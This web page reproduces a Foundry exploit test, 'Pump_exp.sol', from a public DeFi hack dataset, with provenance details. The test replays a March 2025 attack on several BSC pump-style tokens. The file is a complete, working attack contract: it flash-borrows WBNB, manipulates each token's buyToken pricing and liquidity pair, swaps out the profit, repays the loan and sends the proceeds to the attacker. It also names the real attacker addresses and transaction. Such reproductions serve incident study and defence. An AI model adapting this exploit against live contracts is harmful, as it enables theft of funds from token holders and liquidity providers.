Public reproduction file
src/test/2025-03/Pump_exp.sol
Public reproduction file for dataset entry Pump.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~ 11.29 BNB ($6.4K)8// Attacker : https://bscscan.com/address/0x5d6e908c4cd6eda1c2a9010d1971c7d62bdb5cd39// Attack Contract : https://bscscan.com/address/0x0e220c6c52d383869a5085ef074b6028254b346210// Vulnerable Contract : TAGAIFUN, GROK, PEPE, TEST ... TokenContract11// Attack Tx : https://bscscan.com/tx/0xdebaa13fb06134e63879ca6bcb08c5e0290bdbac3acf67914c0b1dcaf0bdc3dd13// @Info14// Vulnerable Contract Code :15// - TAGAIFUN: https://bscscan.com/address/0x09762e00ce0de8211f7002f70759447b1f2b1892#code16// - GROK: https://bscscan.com/address/0x02e8ead6de82c8a248ef0eebe145295116d0e4c2#code17// - PEPE: https://bscscan.com/address/0x6b7e9be56ca035d3471da76caa99f165449697a0#code18// - TEST: https://bscscan.com/address/0xba0d236fbcbd34052cdab29c4900063f9efe6e4f#code20// @Analysis21// Post-mortem : N/A22// Twitter Guy : https://x.com/TenArmorAlert/status/189711599396263552023// Hacking God : N/A25address constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;26address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;27address constant TAGAIFUN_TOKEN = 0x09762e00Ce0DE8211F7002F70759447B1F2b1892;28address constant GROK_TOKEN = 0x02E8eAd6De82c8a248eF0EebE145295116D0E4C2;29address constant PEPE_TOKEN = 0x6B7e9Be56cA035D3471dA76caa99f165449697A0;30address constant TEST_TOKEN = 0xBA0D236FbcbD34052CdAB29c4900063F9Efe6E4f;31address constant PANCAKE_V3_POOL_BUSD_WBNB = 0x172fcD41E0913e95784454622d1c3724f546f849;32address constant PANCAKE_V2_FACTORY = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;33address constant PANCAKE_V2_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;35contract Pump_exp is BaseTestWithBalanceLog {36 uint256 blocknumToForkFrom = 47_169_116 - 1;38 function setUp() public {39 vm.createSelectFork("bsc", blocknumToForkFrom);40 // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit41 fundingToken = address(0);43 vm.label(WBNB_ADDR, "WBNB");44 vm.label(BSC_USD, "BUSD");45 vm.label(TAGAIFUN_TOKEN, "TAGAIFUN");46 vm.label(GROK_TOKEN, "GROK");47 vm.label(PEPE_TOKEN, "PEPE");48 vm.label(TEST_TOKEN, "TEST");49 vm.label(PANCAKE_V3_POOL_BUSD_WBNB, "PancakeV3Pool: BUSD/WBNB");50 vm.label(PANCAKE_V2_FACTORY, "PancakeSwap: Factory v2");51 vm.label(PANCAKE_V2_ROUTER, "PancakeSwap: Router v2");52 }54 function testExploit() public balanceLog {55 AttackContract attackContract = new AttackContract();56 address[] memory tokenPairs = new address[](4);57 tokenPairs[0] = TAGAIFUN_TOKEN;58 tokenPairs[1] = GROK_TOKEN;59 tokenPairs[2] = PEPE_TOKEN;60 tokenPairs[3] = TEST_TOKEN;61 attackContract.start(tokenPairs);62 }64 receive() external payable {65 // Handle the received funds66 }67}69contract AttackContract {70 address attacker;71 address[] tokenPairs;72 uint256 borrowAmount = 100_000_000_000_000_000_000;74 constructor() {75 attacker = msg.sender;76 }78 function start(address[] memory _tokenPairs) public {79 tokenPairs = _tokenPairs;80 IPancakeV3PoolActions(PANCAKE_V3_POOL_BUSD_WBNB).flash(address(this), 0, borrowAmount, "");81 }83 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {84 uint256 balanceOfWBNB = TokenHelper.getTokenBalance(WBNB_ADDR, address(this));85 WBNB(WBNB_ADDR).withdraw(balanceOfWBNB);87 for (uint256 i = 0; i < tokenPairs.length; i++) {88 address token = tokenPairs[i];90 address pair = IUniswapV2Factory(PANCAKE_V2_FACTORY).getPair(token, WBNB_ADDR);91 IToken(token).buyToken{value: 0.001 ether}(0, address(0), 0, pair);93 WBNB(WBNB_ADDR).deposit{value: 1 ether}();94 WBNB(WBNB_ADDR).transfer(pair, 1 ether);95 IPancakePair(pair).mint(address(this));96 IToken(token).buyToken{value: 20 ether}(0, address(0), 0, address(this));98 TokenHelper.approveToken(token, PANCAKE_V2_ROUTER, type(uint256).max);99 uint256 balanceOfToken = TokenHelper.getTokenBalance(token, address(this));100 address[] memory path = new address[](2);101 path[0] = token;102 path[1] = WBNB_ADDR;103 IPancakeRouter(payable(PANCAKE_V2_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(104 balanceOfToken, 0, path, address(this), block.timestamp + 1000105 );106 }108 WBNB(WBNB_ADDR).deposit{value: address(this).balance}();109 WBNB(WBNB_ADDR).transfer(PANCAKE_V3_POOL_BUSD_WBNB, borrowAmount + fee1);110 balanceOfWBNB = TokenHelper.getTokenBalance(WBNB_ADDR, address(this));111 WBNB(WBNB_ADDR).withdraw(balanceOfWBNB);113 // Transfer the BNB to the attacker114 payable(attacker).transfer(address(this).balance);115 }117 receive() external payable {118 // Handle the received funds119 }120}122interface IToken is IERC20 {123 function buyToken(124 uint256 expectAmount,125 address sellsman,126 uint16 slippage,127 address receiver128 ) external payable returns (uint256);129}Analysis
Dataset entry
Public Foundry test for “Pump” (2025-03-04). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
18 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-03/Alkimiya_io_exp.solSame month in the dataset · 145 lines
- src/test/2025-03/BBXToken_exp.solSame month in the dataset · 128 lines
- src/test/2025-03/DCFToken_exp.solSame month in the dataset · 184 lines
- src/test/2025-03/DUCKVADER_exp.solSame month in the dataset · 82 lines
- src/test/2025-03/H2O_exp.solSame month in the dataset · 163 lines
- src/test/2025-03/LeverageSIR_exp.solSame month in the dataset · 258 lines
- src/test/2025-03/PTM_exp.solSame month in the dataset · 103 lines
- src/test/2025-03/RnsPay_exp.solSame month in the dataset · 157 lines
- src/test/2025-03/SBRToken_exp.solSame month in the dataset · 80 lines
- src/test/2025-03/StackMarket_exp.solSame month in the dataset · 136 lines
- src/test/2025-03/UNI_exp.solSame month in the dataset · 111 lines
- src/test/2025-03/unverified_3f27_exp.solSame month in the dataset · 112 lines
- src/test/2025-03/unverified_de7c_exp.solSame month in the dataset · 129 lines
- src/test/2025-03/wKeyDAO_exp.solSame month in the dataset · 160 lines
- src/test/2025-03/YziAIToken_exp.solSame month in the dataset · 69 lines
- src/test/2025-03/ZeroExSettler_exp.solSame month in the dataset · 110 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x5d6e908c4cd6eda1c2a9010d1971c7d62bdb5cd3
- Attack Contract
0x0e220c6c52d383869a5085ef074b6028254b3462
- Vulnerable Contract
0x09762e00ce0de8211f7002f70759447b1f2b1892
- Attack Tx
0xdebaa13fb06134e63879ca6bcb08c5e0290bdbac3acf67914c0b1dcaf0bdc3dd
- Twitter: https://x.com/TenArmorAlert/status/1897115993962635520
- Explorer: https://bscscan.com/address/0x5d6e908c4cd6eda1c2a9010d1971c7d62bdb5cd3
- Explorer: https://bscscan.com/address/0x0e220c6c52d383869a5085ef074b6028254b3462
- Explorer: https://bscscan.com/address/0x09762e00ce0de8211f7002f70759447b1f2b1892#code
- Explorer: https://bscscan.com/address/0x02e8ead6de82c8a248ef0eebe145295116d0e4c2#code
- Explorer: https://bscscan.com/address/0x6b7e9be56ca035d3471da76caa99f165449697a0#code
- Explorer: https://bscscan.com/address/0xba0d236fbcbd34052cdab29c4900063f9efe6e4f#code
File record
- Name
- Pump
- Path
- src/test/2025-03/Pump_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- b756be1c95ac57fe9064c8662fbfb26d39a8422e
- Language
- Solidity
- Size
- 130 lines
- Date
- 2025-03-04
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-03/Pump_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b756be1c95ac57fe9064c8662fbfb26d39a8422e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.